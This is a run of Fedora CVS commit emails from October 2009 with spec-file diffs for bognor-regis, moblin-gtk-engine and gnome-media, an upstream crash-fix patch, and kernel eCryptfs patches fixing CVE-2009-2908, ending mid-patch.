--- bognor-regis.spec	24 Aug 2009 16:14:58 -0000	1.10
+++ bognor-regis.spec	7 Oct 2009 09:43:20 -0000	1.11
@@ -1,13 +1,14 @@
-Name:           bognor-regis
-Version:        0.4.10
-Release:        2%{?dist}
-Summary:        Media daemon and play queue manager
-
-Group:          Applications/Multimedia
-License:        GPLv2
-URL:            http://www.moblin.org/
-Source0:        http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2  
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Name:          bognor-regis
+Version:       0.4.10
+Release:       3%{?dist}
+Summary:       Media daemon and play queue manager
+
+Group:         Applications/Multimedia
+License:       GPLv2
+URL:           http://www.moblin.org/
+Source0:       http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2  
+Patch0:        bognor-regis-dbus-crash.patch
+BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: GConf2-devel
 BuildRequires: gtk2-devel
@@ -33,6 +34,7 @@ Files for development with %{name}.
 
 %prep
 %setup -q
+%patch0 -p1 -b .dbus-crash
 
 # Don't run configure from autogen.sh
 sed -i 's|echo|exit 0|g' autogen.sh
@@ -73,6 +75,9 @@ rm -rf %{buildroot}
 %{_libdir}/libbognor-regis-0.4.so
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.10-3
+- Add upstream patch to fix a crash
+
 * Mon Aug 24 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.10-2
 - Add new GConf2 build requirement
 



From pbrobinson at fedoraproject.org  Wed Oct  7 09:47:27 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 09:47:27 +0000 (UTC)
Subject: rpms/moblin-gtk-engine/devel .cvsignore, 1.6,
	1.7 moblin-gtk-engine.spec, 1.8, 1.9 sources, 1.6, 1.7
Message-ID: <20091007094727.4C89611C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-gtk-engine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26041

Modified Files:
	.cvsignore moblin-gtk-engine.spec sources 
Log Message:
- New upstream 1.0.2 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-gtk-engine/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	10 Sep 2009 18:23:13 -0000	1.6
+++ .cvsignore	7 Oct 2009 09:47:25 -0000	1.7
@@ -1 +1 @@
-moblin-gtk-engine-1.0.1.tar.bz2
+moblin-gtk-engine-1.0.2.tar.bz2


Index: moblin-gtk-engine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-gtk-engine/devel/moblin-gtk-engine.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- moblin-gtk-engine.spec	10 Sep 2009 21:07:44 -0000	1.8
+++ moblin-gtk-engine.spec	7 Oct 2009 09:47:25 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           moblin-gtk-engine
-Version:        1.0.1
-Release:        2%{?dist}
+Version:        1.0.2
+Release:        1%{?dist}
 Summary:        GTK engine for Moblin
 
 Group:          User Interface/Desktops
@@ -57,6 +57,9 @@ rm -rf %{buildroot}
 %{_datadir}/themes/Moblin-Netbook/metacity-1
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.2-1
+- New upstream 1.0.2 release
+
 * Thu Sep 10 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.1-2
 - Drop upstreamed patch
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-gtk-engine/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	10 Sep 2009 18:23:13 -0000	1.6
+++ sources	7 Oct 2009 09:47:25 -0000	1.7
@@ -1 +1 @@
-88f34246efe5f17a57b33d84d4726e43  moblin-gtk-engine-1.0.1.tar.bz2
+cc8393711150fa6f8e6dfeea9d5690bb  moblin-gtk-engine-1.0.2.tar.bz2



From pbrobinson at fedoraproject.org  Wed Oct  7 09:51:50 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 09:51:50 +0000 (UTC)
Subject: rpms/bognor-regis/F-12 bognor-regis-dbus-crash.patch, NONE,
	1.1 bognor-regis.spec, 1.10, 1.11
Message-ID: <20091007095150.7BB6111C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bognor-regis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27201

Modified Files:
	bognor-regis.spec 
Added Files:
	bognor-regis-dbus-crash.patch 
Log Message:
- Add upstream patch to fix a crash

bognor-regis-dbus-crash.patch:
 br-queue.c |   40 +++++++++++++++++++++++++++++++++++-----
 1 file changed, 35 insertions(+), 5 deletions(-)

--- NEW FILE bognor-regis-dbus-crash.patch ---
>From 097f778a8f5f30a539b6327c8c993703c09ef4e9 Mon Sep 17 00:00:00 2001
From: iain <iain at linux.intel.com>
Date: Thu, 13 Aug 2009 13:55:48 +0000
Subject: Fix #4911

When dbus-glib async calls return an error they do not initialise data in the
other parameters. Attempting to free or manipulate this data causes
instability. Initialise the data, and only free it when it is not an error
condition
---
diff --git a/bognor-regis/br-queue.c b/bognor-regis/br-queue.c
index 6710b41..52dca6f 100644
--- a/bognor-regis/br-queue.c
+++ b/bognor-regis/br-queue.c
@@ -431,6 +431,7 @@ async_reply (DBusGProxy *proxy,
 {
     if (error != NULL) {
         g_warning ("Error talking to Bognor-Regis : %s", error->message);
+        g_error_free (error);
     }
 }
 
@@ -553,11 +554,18 @@ list_uris_reply (DBusGProxy *proxy,
     BrQueueListUrisCallback cb;
 
     cb = (BrQueueListUrisCallback) (data->cb);
+
+    if (error) {
+        /* Initialise the parameters correctly */
+        OUT_uris = NULL;
+    }
+
     cb (data->queue, OUT_uris, error, data->userdata);
 
-    g_strfreev (OUT_uris);
     if (error) {
         g_error_free (error);
+    } else {
+        g_strfreev (OUT_uris);
     }
 
     g_free (data);
@@ -595,13 +603,20 @@ get_now_playing_reply (DBusGProxy *proxy,
     BrQueueGetNowPlayingCallback cb;
 
     cb = (BrQueueGetNowPlayingCallback) (data->cb);
+
+    if (error) {
+        OUT_audio_uri = NULL;
+        OUT_visual_uri = NULL;
+    }
+
     cb (data->queue, OUT_audio_uri, OUT_visual_uri, error, data->userdata);
 
     if (error) {
         g_error_free (error);
+    } else {
+        g_free (OUT_audio_uri);
+        g_free (OUT_visual_uri);
     }
-    g_free (OUT_audio_uri);
-    g_free (OUT_visual_uri);
 
     g_free (data);
 }
@@ -638,11 +653,17 @@ get_name_reply (DBusGProxy *proxy,
     BrQueueGetNameCallback cb;
 
     cb = (BrQueueGetNameCallback) (data->cb);
+
+    if (error) {
+        OUT_name = NULL;
+    }
+
     cb (data->queue, OUT_name, error, data->userdata);
 
-    g_free (OUT_name);
     if (error) {
         g_error_free (error);
+    } else {
+        g_free (OUT_name);
     }
 
     g_free (data);
@@ -694,6 +715,11 @@ get_position_reply (DBusGProxy *proxy,
     BrQueueGetPositionCallback cb;
 
     cb = (BrQueueGetPositionCallback) (data->cb);
+
+    if (error) {
+        OUT_position = 0.0;
+    }
+
     cb (data->queue, OUT_position, error, data->userdata);
 
     if (error) {
@@ -735,6 +761,11 @@ get_playing_reply (DBusGProxy *proxy,
     BrQueueGetPlayingCallback cb;
 
     cb = (BrQueueGetPlayingCallback) (data->cb);
+
+    if (error) {
+        OUT_playing = FALSE;
+    }
+
     cb (data->queue, OUT_playing, error, data->userdata);
 
     if (error) {
--
cgit v0.8.2


Index: bognor-regis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bognor-regis/F-12/bognor-regis.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- bognor-regis.spec	24 Aug 2009 16:14:58 -0000	1.10
+++ bognor-regis.spec	7 Oct 2009 09:51:50 -0000	1.11
@@ -1,13 +1,14 @@
-Name:           bognor-regis
-Version:        0.4.10
-Release:        2%{?dist}
-Summary:        Media daemon and play queue manager
-
-Group:          Applications/Multimedia
-License:        GPLv2
-URL:            http://www.moblin.org/
-Source0:        http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2  
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Name:          bognor-regis
+Version:       0.4.10
+Release:       3%{?dist}
+Summary:       Media daemon and play queue manager
+
+Group:         Applications/Multimedia
+License:       GPLv2
+URL:           http://www.moblin.org/
+Source0:       http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2  
+Patch0:        bognor-regis-dbus-crash.patch
+BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: GConf2-devel
 BuildRequires: gtk2-devel
@@ -33,6 +34,7 @@ Files for development with %{name}.
 
 %prep
 %setup -q
+%patch0 -p1 -b .dbus-crash
 
 # Don't run configure from autogen.sh
 sed -i 's|echo|exit 0|g' autogen.sh
@@ -73,6 +75,9 @@ rm -rf %{buildroot}
 %{_libdir}/libbognor-regis-0.4.so
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.10-3
+- Add upstream patch to fix a crash
+
 * Mon Aug 24 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.10-2
 - Add new GConf2 build requirement
 



From pbrobinson at fedoraproject.org  Wed Oct  7 09:53:16 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 09:53:16 +0000 (UTC)
Subject: rpms/moblin-gtk-engine/F-12 .cvsignore, 1.6,
	1.7 moblin-gtk-engine.spec, 1.8, 1.9 sources, 1.6, 1.7
Message-ID: <20091007095316.C143C11C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-gtk-engine/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27841

Modified Files:
	.cvsignore moblin-gtk-engine.spec sources 
Log Message:
- New upstream 1.0.2 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-gtk-engine/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	10 Sep 2009 18:23:13 -0000	1.6
+++ .cvsignore	7 Oct 2009 09:53:15 -0000	1.7
@@ -1 +1 @@
-moblin-gtk-engine-1.0.1.tar.bz2
+moblin-gtk-engine-1.0.2.tar.bz2


Index: moblin-gtk-engine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-gtk-engine/F-12/moblin-gtk-engine.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- moblin-gtk-engine.spec	10 Sep 2009 21:07:44 -0000	1.8
+++ moblin-gtk-engine.spec	7 Oct 2009 09:53:15 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           moblin-gtk-engine
-Version:        1.0.1
-Release:        2%{?dist}
+Version:        1.0.2
+Release:        1%{?dist}
 Summary:        GTK engine for Moblin
 
 Group:          User Interface/Desktops
@@ -57,6 +57,9 @@ rm -rf %{buildroot}
 %{_datadir}/themes/Moblin-Netbook/metacity-1
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.2-1
+- New upstream 1.0.2 release
+
 * Thu Sep 10 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.1-2
 - Drop upstreamed patch
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-gtk-engine/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	10 Sep 2009 18:23:13 -0000	1.6
+++ sources	7 Oct 2009 09:53:15 -0000	1.7
@@ -1 +1 @@
-88f34246efe5f17a57b33d84d4726e43  moblin-gtk-engine-1.0.1.tar.bz2
+cc8393711150fa6f8e6dfeea9d5690bb  moblin-gtk-engine-1.0.2.tar.bz2



From hadess at fedoraproject.org  Wed Oct  7 10:02:39 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 10:02:39 +0000 (UTC)
Subject: rpms/gnome-media/devel .cvsignore, 1.59, 1.60 gnome-media.spec,
	1.182, 1.183 sources, 1.58,
	1.59 0001-Fix-stream-volume-vs.-muted-status-problems.patch, 1.1, NONE
Message-ID: <20091007100239.39EEE11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-media/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31684

Modified Files:
	.cvsignore gnome-media.spec sources 
Removed Files:
	0001-Fix-stream-volume-vs.-muted-status-problems.patch 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/devel/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	21 Sep 2009 14:43:00 -0000	1.59
+++ .cvsignore	7 Oct 2009 10:02:38 -0000	1.60
@@ -1 +1 @@
-gnome-media-2.28.0.tar.bz2
+gnome-media-2.28.1.tar.bz2


Index: gnome-media.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/devel/gnome-media.spec,v
retrieving revision 1.182
retrieving revision 1.183
diff -u -p -r1.182 -r1.183
--- gnome-media.spec	22 Sep 2009 13:09:57 -0000	1.182
+++ gnome-media.spec	7 Oct 2009 10:02:38 -0000	1.183
@@ -13,13 +13,11 @@
 
 Summary:        GNOME media programs
 Name:           gnome-media
-Version:        2.28.0
-Release:        2%{?dist}
+Version:        2.28.1
+Release:        1%{?dist}
 License:        GPLv2+ and GFDL
 Group:          Applications/Multimedia
 Source:         http://download.gnome.org/sources/gnome-media/2.28/gnome-media-%{version}.tar.bz2
-# https://bugzilla.gnome.org/show_bug.cgi?id=595857
-Patch0:         0001-Fix-stream-volume-vs.-muted-status-problems.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Obsoletes:      gnome
@@ -84,7 +82,6 @@ framework.
 
 %prep
 %setup -q
-%patch0 -p1 -b .mute
 
 # force regeneration
 rm profiles/gnome-audio-profiles.schemas
@@ -314,6 +311,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Tue Sep 22 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-2
 - Fix problems with mute status handling in the applet and dialogue
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/devel/sources,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- sources	21 Sep 2009 14:43:00 -0000	1.58
+++ sources	7 Oct 2009 10:02:39 -0000	1.59
@@ -1 +1 @@
-1a1dc2638012d47f67c0ccac9e3ac719  gnome-media-2.28.0.tar.bz2
+44fa273824cb18bb3118756d4bef69e6  gnome-media-2.28.1.tar.bz2


--- 0001-Fix-stream-volume-vs.-muted-status-problems.patch DELETED ---



From hadess at fedoraproject.org  Wed Oct  7 10:03:14 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 10:03:14 +0000 (UTC)
Subject: rpms/gnome-media/F-12 .cvsignore, 1.59, 1.60 gnome-media.spec, 1.182,
	1.183 sources, 1.58,
	1.59 0001-Fix-stream-volume-vs.-muted-status-problems.patch, 1.1, NONE
Message-ID: <20091007100314.1811A11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-media/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31913

Modified Files:
	.cvsignore gnome-media.spec sources 
Removed Files:
	0001-Fix-stream-volume-vs.-muted-status-problems.patch 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-12/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	21 Sep 2009 14:43:00 -0000	1.59
+++ .cvsignore	7 Oct 2009 10:03:13 -0000	1.60
@@ -1 +1 @@
-gnome-media-2.28.0.tar.bz2
+gnome-media-2.28.1.tar.bz2


Index: gnome-media.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-12/gnome-media.spec,v
retrieving revision 1.182
retrieving revision 1.183
diff -u -p -r1.182 -r1.183
--- gnome-media.spec	22 Sep 2009 13:09:57 -0000	1.182
+++ gnome-media.spec	7 Oct 2009 10:03:13 -0000	1.183
@@ -13,13 +13,11 @@
 
 Summary:        GNOME media programs
 Name:           gnome-media
-Version:        2.28.0
-Release:        2%{?dist}
+Version:        2.28.1
+Release:        1%{?dist}
 License:        GPLv2+ and GFDL
 Group:          Applications/Multimedia
 Source:         http://download.gnome.org/sources/gnome-media/2.28/gnome-media-%{version}.tar.bz2
-# https://bugzilla.gnome.org/show_bug.cgi?id=595857
-Patch0:         0001-Fix-stream-volume-vs.-muted-status-problems.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Obsoletes:      gnome
@@ -84,7 +82,6 @@ framework.
 
 %prep
 %setup -q
-%patch0 -p1 -b .mute
 
 # force regeneration
 rm profiles/gnome-audio-profiles.schemas
@@ -314,6 +311,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Tue Sep 22 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-2
 - Fix problems with mute status handling in the applet and dialogue
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-12/sources,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- sources	21 Sep 2009 14:43:00 -0000	1.58
+++ sources	7 Oct 2009 10:03:13 -0000	1.59
@@ -1 +1 @@
-1a1dc2638012d47f67c0ccac9e3ac719  gnome-media-2.28.0.tar.bz2
+44fa273824cb18bb3118756d4bef69e6  gnome-media-2.28.1.tar.bz2


--- 0001-Fix-stream-volume-vs.-muted-status-problems.patch DELETED ---



From hadess at fedoraproject.org  Wed Oct  7 10:04:29 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 10:04:29 +0000 (UTC)
Subject: rpms/gnome-media/F-11 .cvsignore, 1.54, 1.55 gnome-media.spec, 1.175,
	1.176 sources, 1.53, 1.54
Message-ID: <20091007100429.4A6C711C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-media/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32257

Modified Files:
	.cvsignore gnome-media.spec sources 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-11/.cvsignore,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- .cvsignore	7 Sep 2009 14:14:53 -0000	1.54
+++ .cvsignore	7 Oct 2009 10:04:28 -0000	1.55
@@ -1 +1 @@
-gnome-media-2.27.91.tar.bz2
+gnome-media-2.28.1.tar.bz2


Index: gnome-media.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-11/gnome-media.spec,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- gnome-media.spec	7 Sep 2009 14:14:53 -0000	1.175
+++ gnome-media.spec	7 Oct 2009 10:04:29 -0000	1.176
@@ -13,7 +13,7 @@
 
 Summary:        GNOME media programs
 Name:           gnome-media
-Version:        2.27.91
+Version:        2.28.1
 Release:        1%{?dist}
 License:        GPLv2+ and GFDL
 Group:          Applications/Multimedia
@@ -64,7 +64,7 @@ This package contains the libraries and 
 develop GNOME media applications.
 
 %package libs
-Summary: Development files for gnome-media
+Summary: Libraries for gnome-media
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
@@ -247,6 +247,9 @@ scrollkeeper-update -q || :
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 07 2009 Bastien Nocera <bnocera at redhat.com> 2.27.91-1
 - Update to 2.27.91
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-11/sources,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- sources	7 Sep 2009 14:14:53 -0000	1.53
+++ sources	7 Oct 2009 10:04:29 -0000	1.54
@@ -1 +1 @@
-56a5c6ba6c67b3f6efd2920404febcc2  gnome-media-2.27.91.tar.bz2
+44fa273824cb18bb3118756d4bef69e6  gnome-media-2.28.1.tar.bz2



From cebbert at fedoraproject.org  Wed Oct  7 10:10:45 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Wed,  7 Oct 2009 10:10:45 +0000 (UTC)
Subject: rpms/kernel/F-11
	ecryptfs-check-for-o_rdonly-lower-inodes-when-opening-lower-files.patch,
	NONE, 1.1
	ecryptfs-filename-encryption-only-supports-password-auth-tokens.patch,
	NONE, 1.1 ecryptfs-handle-unrecognized-tag-3-cipher-codes.patch, NONE,
	1.1
	ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch,
	NONE, 1.1 ecryptfs-validate-global-auth-tok-keys.patch, NONE,
	1.1 kernel.spec, 1.1755, 1.1756
Message-ID: <20091007101045.3A3BE11C02A3@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1011

Modified Files:
	kernel.spec 
Added Files:
	ecryptfs-check-for-o_rdonly-lower-inodes-when-opening-lower-files.patch 
	ecryptfs-filename-encryption-only-supports-password-auth-tokens.patch 
	ecryptfs-handle-unrecognized-tag-3-cipher-codes.patch 
	ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch 
	ecryptfs-validate-global-auth-tok-keys.patch 
Log Message:
eCryptfs fixes taken from 2.6.31.2 (fixes CVE-2009-2908)

ecryptfs-check-for-o_rdonly-lower-inodes-when-opening-lower-files.patch:
 kthread.c |   24 ++++++++----------------
 main.c    |    3 +--
 2 files changed, 9 insertions(+), 18 deletions(-)

--- NEW FILE ecryptfs-check-for-o_rdonly-lower-inodes-when-opening-lower-files.patch ---
>From ac22ba23b659e34a5961aec8c945608e471b0d5b Mon Sep 17 00:00:00 2001
From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Date: Wed, 12 Aug 2009 01:06:54 -0500
Subject: eCryptfs: Check for O_RDONLY lower inodes when opening lower files

From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>

commit ac22ba23b659e34a5961aec8c945608e471b0d5b upstream.

If the lower inode is read-only, don't attempt to open the lower file
read/write and don't hand off the open request to the privileged
eCryptfs kthread for opening it read/write.  Instead, only try an
unprivileged, read-only open of the file and give up if that fails.
This patch fixes an oops when eCryptfs is mounted on top of a read-only
mount.

Acked-by: Serge Hallyn <serue at us.ibm.com>
Cc: Eric Sandeen <esandeen at redhat.com>
Cc: Dave Kleikamp <shaggy at linux.vnet.ibm.com>
Cc: ecryptfs-devel at lists.launchpad.net
Signed-off-by: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 fs/ecryptfs/kthread.c |   24 ++++++++----------------
 fs/ecryptfs/main.c    |    3 +--
 2 files changed, 9 insertions(+), 18 deletions(-)

--- a/fs/ecryptfs/kthread.c
+++ b/fs/ecryptfs/kthread.c
@@ -136,6 +136,7 @@ int ecryptfs_privileged_open(struct file
 			     const struct cred *cred)
 {
 	struct ecryptfs_open_req *req;
+	int flags = O_LARGEFILE;
 	int rc = 0;
 
 	/* Corresponding dput() and mntput() are done when the
@@ -143,10 +144,14 @@ int ecryptfs_privileged_open(struct file
 	 * destroyed. */
 	dget(lower_dentry);
 	mntget(lower_mnt);
-	(*lower_file) = dentry_open(lower_dentry, lower_mnt,
-				    (O_RDWR | O_LARGEFILE), cred);
+	flags |= IS_RDONLY(lower_dentry->d_inode) ? O_RDONLY : O_RDWR;
+	(*lower_file) = dentry_open(lower_dentry, lower_mnt, flags, cred);
 	if (!IS_ERR(*lower_file))
 		goto out;
+	if (flags & O_RDONLY) {
+		rc = PTR_ERR((*lower_file));
+		goto out;
+	}
 	req = kmem_cache_alloc(ecryptfs_open_req_cache, GFP_KERNEL);
 	if (!req) {
 		rc = -ENOMEM;
@@ -180,21 +185,8 @@ int ecryptfs_privileged_open(struct file
 		       __func__);
 		goto out_unlock;
 	}
-	if (IS_ERR(*req->lower_file)) {
+	if (IS_ERR(*req->lower_file))
 		rc = PTR_ERR(*req->lower_file);
-		dget(lower_dentry);
-		mntget(lower_mnt);
-		(*lower_file) = dentry_open(lower_dentry, lower_mnt,
-					    (O_RDONLY | O_LARGEFILE), cred);
-		if (IS_ERR(*lower_file)) {
-			rc = PTR_ERR(*req->lower_file);
-			(*lower_file) = NULL;
-			printk(KERN_WARNING "%s: Error attempting privileged "
-			       "open of lower file with either RW or RO "
-			       "perms; rc = [%d]. Giving up.\n",
-			       __func__, rc);
-		}
-	}
 out_unlock:
 	mutex_unlock(&req->mux);
 out_free:
--- a/fs/ecryptfs/main.c
+++ b/fs/ecryptfs/main.c
@@ -129,11 +129,10 @@ int ecryptfs_init_persistent_file(struct
 		lower_dentry = ecryptfs_dentry_to_lower(ecryptfs_dentry);
 		rc = ecryptfs_privileged_open(&inode_info->lower_file,
 					      lower_dentry, lower_mnt, cred);
-		if (rc || IS_ERR(inode_info->lower_file)) {
+		if (rc) {
 			printk(KERN_ERR "Error opening lower persistent file "
 			       "for lower_dentry [0x%p] and lower_mnt [0x%p]; "
 			       "rc = [%d]\n", lower_dentry, lower_mnt, rc);
-			rc = PTR_ERR(inode_info->lower_file);
 			inode_info->lower_file = NULL;
 		}
 	}

ecryptfs-filename-encryption-only-supports-password-auth-tokens.patch:
 crypto.c   |    4 ++--
 keystore.c |   14 ++++++++++++--
 2 files changed, 14 insertions(+), 4 deletions(-)

--- NEW FILE ecryptfs-filename-encryption-only-supports-password-auth-tokens.patch ---
>From df6ad33ba1b9846bd5f0e2b9016c30c20bc2d948 Mon Sep 17 00:00:00 2001
From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Date: Fri, 21 Aug 2009 04:27:46 -0500
Subject: eCryptfs: Filename encryption only supports password auth tokens

From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>

commit df6ad33ba1b9846bd5f0e2b9016c30c20bc2d948 upstream.

Returns -ENOTSUPP when attempting to use filename encryption with
something other than a password authentication token, such as a private
token from openssl.  Using filename encryption with a userspace eCryptfs
key module is a future goal.  Until then, this patch handles the
situation a little better than simply using a BUG_ON().

Acked-by: Serge Hallyn <serue at us.ibm.com>
Cc: ecryptfs-devel at lists.launchpad.net
Signed-off-by: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 fs/ecryptfs/crypto.c   |    4 ++--
 fs/ecryptfs/keystore.c |   14 ++++++++++++--
 2 files changed, 14 insertions(+), 4 deletions(-)

--- a/fs/ecryptfs/crypto.c
+++ b/fs/ecryptfs/crypto.c
@@ -1703,7 +1703,7 @@ ecryptfs_encrypt_filename(struct ecryptf
 	} else {
 		printk(KERN_ERR "%s: No support for requested filename "
 		       "encryption method in this release\n", __func__);
-		rc = -ENOTSUPP;
+		rc = -EOPNOTSUPP;
 		goto out;
 	}
 out:
@@ -2167,7 +2167,7 @@ int ecryptfs_encrypt_and_encode_filename
 			(*encoded_name)[(*encoded_name_size)] = '\0';
 			(*encoded_name_size)++;
 		} else {
-			rc = -ENOTSUPP;
+			rc = -EOPNOTSUPP;
 		}
 		if (rc) {
 			printk(KERN_ERR "%s: Error attempting to encode "
--- a/fs/ecryptfs/keystore.c
+++ b/fs/ecryptfs/keystore.c
@@ -612,7 +612,12 @@ ecryptfs_write_tag_70_packet(char *dest,
 	}
 	/* TODO: Support other key modules than passphrase for
 	 * filename encryption */
-	BUG_ON(s->auth_tok->token_type != ECRYPTFS_PASSWORD);
+	if (s->auth_tok->token_type != ECRYPTFS_PASSWORD) {
+		rc = -EOPNOTSUPP;
+		printk(KERN_INFO "%s: Filename encryption only supports "
+		       "password tokens\n", __func__);
+		goto out_free_unlock;
+	}
 	sg_init_one(
 		&s->hash_sg,
 		(u8 *)s->auth_tok->token.password.session_key_encryption_key,
@@ -910,7 +915,12 @@ ecryptfs_parse_tag_70_packet(char **file
 	}
 	/* TODO: Support other key modules than passphrase for
 	 * filename encryption */
-	BUG_ON(s->auth_tok->token_type != ECRYPTFS_PASSWORD);
+	if (s->auth_tok->token_type != ECRYPTFS_PASSWORD) {
+		rc = -EOPNOTSUPP;
+		printk(KERN_INFO "%s: Filename encryption only supports "
+		       "password tokens\n", __func__);
+		goto out_free_unlock;
+	}
 	rc = crypto_blkcipher_setkey(
 		s->desc.tfm,
